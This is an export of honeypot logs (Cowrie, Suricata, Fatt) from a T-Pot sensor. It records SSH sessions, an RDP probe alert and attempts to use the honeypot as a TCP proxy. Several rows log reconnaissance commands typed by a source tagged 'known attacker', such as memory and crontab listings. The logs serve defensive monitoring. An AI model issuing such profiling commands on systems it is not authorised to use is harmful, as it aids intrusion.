20110	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:23.207072+03	2021-09-20 14:15:01.970613+03	{"_id": "-AXfAnwBvYTbRNuE9Pfh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:23.207072Z", "@timestamp": "2021-09-20T11:03:23.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20111	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:23.766447+03	2021-09-20 14:15:01.971612+03	{"_id": "-QXfAnwBvYTbRNuE9Pfh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.17.12", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5600061416625977, "duplicate": true, "timestamp": "2021-09-20T11:03:23.766447Z", "@timestamp": "2021-09-20T11:03:23.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20112	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:24.189594+03	2021-09-20 14:15:01.972613+03	{"_id": "-wXfAnwBvYTbRNuE-Pex", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:24.189594Z", "@timestamp": "2021-09-20T11:03:24.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20113	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:25.517667+03	2021-09-20 14:15:01.973613+03	{"_id": "AgXfAnwBvYTbRNuE_Pib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "dest_ip": "172.67.199.171", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 172.67.199.171:443 from 127.0.0.1:52909", "session": "71929d32c834", "@version": "1", "src_port": 52909, "dest_port": 443, "timestamp": "2021-09-20T11:03:25.517667Z", "@timestamp": "2021-09-20T11:03:25.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20114	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:21.28874+03	2021-09-20 14:15:01.975613+03	{"_id": "5gXfAnwBvYTbRNuE7Pf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:21.288740Z", "@timestamp": "2021-09-20T11:03:21.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20115	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:21.858293+03	2021-09-20 14:15:01.976613+03	{"_id": "5wXfAnwBvYTbRNuE7Pf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.17.12", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5696403980255127, "duplicate": true, "timestamp": "2021-09-20T11:03:21.858293Z", "@timestamp": "2021-09-20T11:03:21.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20116	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:03:23.466028+03	2021-09-20 14:15:01.977613+03	{"_id": "8QXfAnwBvYTbRNuE8_f1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:22.755088+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 511345560290704, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64530, "dest_port": 3389, "timestamp": "2021-09-20T11:03:23.466028Z", "@timestamp": "2021-09-20T11:03:23.466Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20117	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:24.751571+03	2021-09-20 14:15:01.978614+03	{"_id": "_QXfAnwBvYTbRNuE-Pex", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.71.17.12", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.562612771987915, "duplicate": true, "timestamp": "2021-09-20T11:03:24.751571Z", "@timestamp": "2021-09-20T11:03:24.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20118	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:24.1901+03	2021-09-20 14:15:01.980613+03	{"_id": "_AXfAnwBvYTbRNuE-Pex", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:24.190100Z", "@timestamp": "2021-09-20T11:03:24.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20119	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:24.189043+03	2021-09-20 14:15:01.981613+03	{"_id": "-gXfAnwBvYTbRNuE-Pex", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:24.189043Z", "@timestamp": "2021-09-20T11:03:24.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28007	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:16:02.601362+03	2021-09-20 14:30:02.268523+03	{"_id": "DAbrAnwBvYTbRNuEiiyz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 47501, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 540304427068690, "@version": "1", "in_iface": "enp5s0", "src_port": 45709, "dest_port": 53, "timestamp": "2021-09-20T11:16:02.601362Z", "@timestamp": "2021-09-20T11:16:02.601Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20120	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:25.760887+03	2021-09-20 14:15:01.982612+03	{"_id": "_gXfAnwBvYTbRNuE_Pea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 1, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xb6\\\\x01\\\\x00\\\\x00\\\\xb2\\\\x03\\\\x03\\\\xaco\\\\x91\\\\xa2\\\\x9fzW\\\\xd9\\\\xfa\\\\xcc$\\\\x15\\\\x92\\\\xaa+]\\\\xd3\\\\x90e+}\\\\x03t\\\\xa9r\\\\xc3\\\\x0c\\\\xe0\\\\xfc\\\\x01\\\\xd2\\\\xe5\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00k\\\\x00\\\\x00\\\\x00\\\\x0f\\\\x00\\\\r\\\\x00\\\\x00\\\\nyiopse.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "dest_ip": "172.67.199.171", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 1 to 172.67.199.171:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xb6\\\\x01\\\\x00\\\\x00\\\\xb2\\\\x03\\\\x03\\\\xaco\\\\x91\\\\xa2\\\\x9fzW\\\\xd9\\\\xfa\\\\xcc$\\\\x15\\\\x92\\\\xaa+]\\\\xd3\\\\x90e+}\\\\x03t\\\\xa9r\\\\xc3\\\\x0c\\\\xe0\\\\xfc\\\\x01\\\\xd2\\\\xe5\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00k\\\\x00\\\\x00\\\\x00\\\\x0f\\\\x00\\\\r\\\\x00\\\\x00\\\\nyiopse.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "session": "71929d32c834", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:03:25.760887Z", "@timestamp": "2021-09-20T11:03:25.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20121	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:25.151338+03	2021-09-20 14:15:01.983613+03	{"_id": "AAXfAnwBvYTbRNuE_Pia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:25.151338Z", "@timestamp": "2021-09-20T11:03:25.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20122	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:25.151881+03	2021-09-20 14:15:01.984613+03	{"_id": "AQXfAnwBvYTbRNuE_Pia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:25.151881Z", "@timestamp": "2021-09-20T11:03:25.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20123	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:28.060569+03	2021-09-20 14:15:01.985614+03	{"_id": "GwXgAnwBvYTbRNuECPif", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:57565", "session": "ba384fdfbf58", "@version": "1", "src_port": 57565, "dest_port": 443, "timestamp": "2021-09-20T11:03:28.060569Z", "@timestamp": "2021-09-20T11:03:28.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20124	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:03:29.191963+03	2021-09-20 14:15:01.987612+03	{"_id": "JAXgAnwBvYTbRNuEDPg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.63.158.253:40943 (192.168.176.2:22) [session: 2f74c6300fb4]", "session": "2f74c6300fb4", "@version": "1", "protocol": "ssh", "src_port": 40943, "dest_port": 22, "timestamp": "2021-09-20T11:03:29.191963Z", "@timestamp": "2021-09-20T11:03:29.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20125	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:29.900696+03	2021-09-20 14:15:01.988612+03	{"_id": "JQXgAnwBvYTbRNuEDPg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:29.900696Z", "@timestamp": "2021-09-20T11:03:29.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20126	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:29.193334+03	2021-09-20 14:15:01.989614+03	{"_id": "KQXgAnwBvYTbRNuEDPg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.63.158.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40943, "timestamp": "2021-09-20T11:03:29.193334", "@timestamp": "2021-09-20T11:03:29.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20127	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:29.532553+03	2021-09-20 14:15:01.990613+03	{"_id": "KgXgAnwBvYTbRNuEDPg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.17.12", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5603408813476562, "duplicate": true, "timestamp": "2021-09-20T11:03:29.532553Z", "@timestamp": "2021-09-20T11:03:29.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
